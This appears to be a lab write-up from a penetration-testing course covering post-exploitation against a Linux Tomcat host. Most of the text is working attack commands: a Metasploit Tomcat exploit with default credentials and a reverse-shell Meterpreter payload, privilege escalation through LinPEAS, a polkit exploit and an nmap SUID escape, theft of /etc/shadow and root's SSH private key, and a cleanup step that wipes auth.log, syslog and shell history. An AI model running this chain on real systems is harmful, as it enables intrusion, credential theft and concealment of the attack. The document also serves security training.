Post-Exploitation Practice

Objective

Perform privilege escalation, maintain access, collect forensic evidence, and document the complete chain of custody following successful exploitation.

Tools Used

- **Meterpreter:** Post-exploitation framework
- **Volatility:** Memory forensics framework
- **sha256sum/md5sum:** File integrity hashing tools
- **Linux privilege escalation scripts:** LinPEAS, linuxprivchecker

Post-Exploitation Methodology

PTES Post-Exploitation Phase

1. Infrastructure analysis
2. Pillaging (data collection)
3. Privilege escalation
4. Persistence mechanisms
5. Cleanup and anti-forensics

Evidence Handling Principles

- Maintain chain of custody
- Hash all collected evidence
- Document collection timestamps
- Preserve original files
- Use forensically sound methods

Workflow Steps

Step 1: Establishing Meterpreter Session

1.1 Exploit Target System

```
# Launch Metasploit

msfconsole


# Use Tomcat exploit from previous activity

use exploit/multi/http/tomcat_mgr_deploy

set RHOSTS 192.168.43.131

set RPORT 8180

set HttpUsername tomcat
set HttpPassword tomcat
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.43.128
exploit
```

1.2 Verify Meterpreter Session

```
# In Meterpreter
meterpreter > sysinfo
meterpreter > getuid
meterpreter > pwd
meterpreter > ls
```

1.3 Session Logging

```
# Enable logging
meterpreter > spool /home/kali/vapt-week2/activity4/logs/meterpreter_session.log
```

Step 2: System Enumeration

2.1 Basic System Information

```
# System details
meterpreter > sysinfo
# Current user
meterpreter > getuid
# Output: Server username: tomcat55
# Network configuration
meterpreter > ipconfig
# Running processes
meterpreter > ps
# List users
meterpreter > execute -f whoami -i
# Environment variables
meterpreter > execute -f env –i
```

2.2 Network Enumeration

```
# Network connections
meterpreter > netstat
# Routing table
meterpreter > route
# ARP cache
meterpreter > execute -f "arp -a" -i
```

2.3 File System Enumeration

```
# Navigate filesystem
meterpreter > pwd
meterpreter > ls
meterpreter > cd /home
meterpreter > ls
# Search for interesting files
meterpreter > search -f *.conf
meterpreter > search -f *.txt
meterpreter > search -f *.key
meterpreter > search -f *password*
```

Step 3: Privilege Escalation (Linux)

3.1 Check Current Privileges

```
# Current user
meterpreter > getuid
# Expected: tomcat55 (non-root)
# Drop to shell
meterpreter > shell
# Check sudo permissions
sudo -l
# Check for SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Exit shell back to Meterpreter
Exit
```

3.2 Automated Privilege Escalation Check

```
# Upload LinPEAS

meterpreter > upload /usr/share/peass/linpeas.sh /tmp/linpeas.sh

# Make executable

meterpreter > shell

chmod +x /tmp/linpeas.sh

# Run LinPEAS

./tmp/linpeas.sh > /tmp/linpeas_output.txt

# Exit shell

exit

# Download results

meterpreter > download /tmp/linpeas_output.txt
```

3.3 Manual Privilege Escalation Techniques

Check kernel version for exploits:

```
meterpreter > shell

uname -a

# Look for kernel exploits (DirtyCOW, etc.)

Exit
```

Check for weak file permissions:

```
meterpreter > shell

ls -la /etc/passwd

ls -la /etc/shadow

cat /etc/crontab

exit
```

Check for running services as root:

```
meterpreter > ps

# Look for processes running as root that can be exploited
```

3.4 Using Local Exploit Suggester

```
# Background Meterpreter session
meterpreter > background
# In msfconsole
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run
```

3.5 Attempting Privilege Escalation

```
# Example: Using suggested exploit
msf6 > use exploit/linux/local/ubuntu_polkit_priv_esc
msf6 exploit(linux/local/ubuntu_polkit_priv_esc) > set SESSION 1
msf6 exploit(linux/local/ubuntu_polkit_priv_esc) > set LHOST 192.168.43.138
msf6 exploit(linux/local/ubuntu_polkit_priv_esc) > exploit
# If successful
meterpreter > getuid
# Output: Server username: root
```

3.6 Alternative: Manual SUID Exploit

```
# Find SUID binaries
meterpreter > shell
find / -perm -4000 -type f 2>/dev/null
# Example: nmap (old versions)
nmap --interactive
!sh
whoami
# If root: Success!
```

Step 4: Evidence Collection

4.1 Create Evidence Directory

```
mkdir -p /home/kali/vapt-week2/activity4/evidence

cd /home/kali/vapt-week2/activity4/evidence
```

4.2 Collect Configuration Files

```
# In Meterpreter session

meterpreter > download /etc/passwd ./passwd

meterpreter > download /etc/shadow ./shadow

meterpreter > download /etc/hosts ./hosts

meterpreter > download /etc/ssh/sshd_config ./sshd_config

meterpreter > download /var/log/auth.log ./auth.log
```

4.3 Collect Application Configs

```
# Tomcat configuration

meterpreter > download /etc/tomcat5.5/tomcat-users.xml ./tomcat-users.xml

meterpreter > download /etc/tomcat5.5/server.xml ./server.xml

# MySQL configuration (if accessible)

meterpreter > download /etc/mysql/my.cnf ./my.cnf
```

4.4 Collect User Data

```
# User home directories

meterpreter > download /home/user/.bash_history ./bash_history

meterpreter > download /root/.ssh/id_rsa ./root_id_rsa

meterpreter > download /root/.ssh/authorized_keys ./authorized_keys
```

Step 5: File Integrity Hashing

5.1 Hash Collected Evidence (SHA256)

```
# Navigate to evidence directory

cd /home/kali/vapt-week2/activity4/evidence

# Generate SHA256 hashes

sha256sum passwd > hashes.txt

sha256sum shadow >> hashes.txt

sha256sum hosts >> hashes.txt

sha256sum sshd_config >> hashes.txt
```

```
sha256sum auth.log >> hashes.txt
sha256sum tomcat-users.xml >> hashes.txt
sha256sum server.xml >> hashes.txt
# View all hashes
cat hashes.txt
```

5. 2 Slack-Friendly Format

Item	Description	Collected By	Date	Hash Value
Config File	target.conf	VAPT Analyst	2026-01-28	a1b2c3d4e5f6s8s9s9s
passwd	User accounts	VAPT Analyst	2026-01-28	f6e5d4c3b2a15sa7ax9
shadow	Password hashes	VAPT Analyst	2026-01-28	9876543210aba4a6a5

Step 5.3: Session Cleanup

5.4 Remove Artifacts

```
# In Meterpreter
meterpreter > shell
# Remove uploaded files
rm /tmp/linpeas.sh
rm /tmp/linpeas_output.txt
rm /tmp/process_dump.bin
# Clear bash history
history -c
rm ~/.bash_history
# Clear logs (evidence of testing - document before removing)
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
exit
```

5.5 Close Sessions

```
# Exit Meterpreter
meterpreter > exit
```

```
# In msfconsole
sessions -K  # Kill all sessions
exit
```